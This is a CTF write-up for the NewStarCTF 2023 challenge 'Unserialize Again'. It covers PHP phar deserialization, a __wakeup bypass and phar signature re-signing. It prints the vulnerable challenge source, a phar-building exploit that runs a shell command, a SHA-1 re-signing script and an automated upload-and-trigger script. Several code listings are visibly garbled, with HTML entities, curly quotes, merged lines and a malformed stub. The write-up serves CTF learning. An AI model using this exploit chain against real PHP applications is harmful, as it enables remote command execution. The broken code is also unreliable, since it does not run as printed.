Newstar week5 WEB Unserialize Again (phar deserialization, __wakeup() bypass, phar re-signing)

Table of Contents

Main parts of Phar file:

1. stub file identification

2. manifest

3. contents

4.signature

topic:


Main part of Phar file:

1. stub file identification

The basic structure of the stub: xxx, The preceding content is not limited, but it must start with __HALT_COMPILER();?>, otherwise the phar extension will not recognize this file as a phar file. (Here we can forge a picture file or pdf file to bypass some upload restrictions)

2. manifest

Some information about the compressed file in the Phar file, the information in the Meta-data part will be stored in serialized form (when the file operation function parses pharphar:// pseudo-protocol /code> file, the data will be deserialized)

3. contents

The compressed file content can be written casually without special requirements, because we mainly use this vulnerability to trigger its deserialization.

4.signature

There is a signature at the end of phar, which is the signature of phar. It is placed at the end of the file. If we modify the content of the file, the previous signature will be invalid, and we need to replace with a new signature< /strong>

When the parameters of the file system functions (file_exists(), is_dir(), etc., see the table below for details) are controllable, and with the phar:// pseudo-protocol, you can directly deserialize without relying on unserialize() ization operation.

Title:

Open the source code and prompt cookie, capture the packet and find the pairing.php file

Access the file and get the source code as follows:

 <?php
highlight_file(__FILE__);
error_reporting(0);
class story{
    private $user='admin';
    public $pass;
    public $eating;
    public $God='false';
    public function __wakeup(){
        $this->user='human';
        if(1==1){
            die();
        }
        if(1!=1){
            echo $fffflag;
        }
    }
    public function __construct(){
        $this->user='AshenOne';
        $this->eating='fire';
        die();
    }
    public function __tostring(){
        return $this->user.$this->pass;
    }
    public function __invoke(){
        if($this->user=='admin' & amp; & amp;$this->pass=='admin'){
            echo $nothing;
        }
    }
    public function __destruct(){
        if($this->God=='true' & amp; & amp;$this->user=='admin'){
            system($this->eating);
        }
        else{
            die('Get Out!');
        }
    }
}
if(isset($_GET['pear']) & amp; & amp;isset($_GET['apple'])){
    // $Eden=new story();
    $pear=$_GET['pear'];
    $Adam=$_GET['apple'];
    $file=file_get_contents('php://input');
    file_put_contents($pear,urldecode($file));
    file_exists($Adam);
}
else{
    echo 'Eat more Sydney';
} 

The key information extracted in the latter part is:

if(isset($_GET[‘pear’]) & amp; & amp;isset($_GET[‘apple’])){

$pear=$_GET[‘pear’];

$Adam=$_GET[‘apple’];

$file=file_get_contents(‘php://input’); //Get the post data and assign it to $file

file_put_contents($pear,urldecode($file)); //Write a file, the file name is $pear, the content is $file

file_exists($Adam); //phar deserialization trigger point

}

When the parameters of the file system functions (file_exists(), is_dir(), etc.) are controllable, and with the phar:// pseudo-protocol, the deserialization operation can be performed directly without relying on unserialize() , so file_exists($Adam); is the phar deserialization trigger point

The code we ultimately want to execute is inside __destruct()

if($this->God==’true’ & amp; & amp;$this->user==’admin’){
system($this->eating);

}

phar file generation:

<?php
class story{
public $eating = 'cat /f*'; //Assign the command to be executed
public $God='true'; //Satisfy if condition
}
$phar = new Phar("1.phar");
$phar->startBuffering();
$phar->setStub("<php __HALT_COMPILER(); ?>"); //Set stub
$o = new story();
$phar->setMetadata($o); //Save custom meta-data into manifest
$phar->addFromString("test.txt", "test"); //Add files to be compressed
$phar->stopBuffering();

Because the reassignment modifies the content of the file, the previous signature will be invalid, so you need to replace a new signature. The signature is encrypted with SHA1. The script to generate a new signature is as follows:

from hashlib import sha1
with open(‘1.phar’, ‘rb’) as file:
f = file.read() #Open the file named 1.phar, read the file content in binary read-only mode, and store it in the variable f
s = f[:-28] # Get the data to be signed (s)
h = f[-8:] # Get signature type and GBMB identification (h)
newf = s + sha1(s).digest() + h # Perform SHA-1 hash calculation on the data to be signed, and splice the original data, signature and type/identity into new data newf
with open(‘newtest.phar’, ‘wb’) as file:
file.write(newf)

# Write the processed data newf to a new file named newtest.phar in binary writing mode.

Finally, read the contents of newtest.phar, encode the URL and post it, and pass ?pear=1.phar & amp;apple=phar://1.phar to get. Can

You can also use a python script to directly modify the signature and upload the next two steps in one step.

from hashlib import sha1
import urllib.parse
import os
import re
import requests
pattern = r'flag\{. + ?\}'
url="http://87ab80e5-0c08-4d4f-a179-2718e0526959.node4.buuoj.cn:81/"#Replace with the question machine address params={
    'pear':'1.phar',
    'apple':'phar://1.phar'}
if os.path.exists('1.phar'):
    with open('1.phar', 'rb') as file:
        f = file.read()
     s = f[:-28]
    h = f[-8:]
    newf = s + sha1(s).digest() + h
    with open('newtest.phar', 'wb') as file:
        file.write(newf)
    os.remove('1.phar')with open('newtest.phar','rb') as fi:
        f = fi.read()
        ff=urllib.parse.quote(f)
        # print(ff)
        fin=requests.post(url=url + "pairing.php",data=ff,params=params)
        matches = re.findall(pattern, fin.text)
        for match in matches:
            print(match)
# os.remove('newtest.phar')

Refer to the official wp:

NewStarCTF 2023 Week5 Official WriteUp

The knowledge points of the article match the official knowledge files, and you can further learn related knowledge. Network Skill TreeHomepageOverview 42386 people are learning the system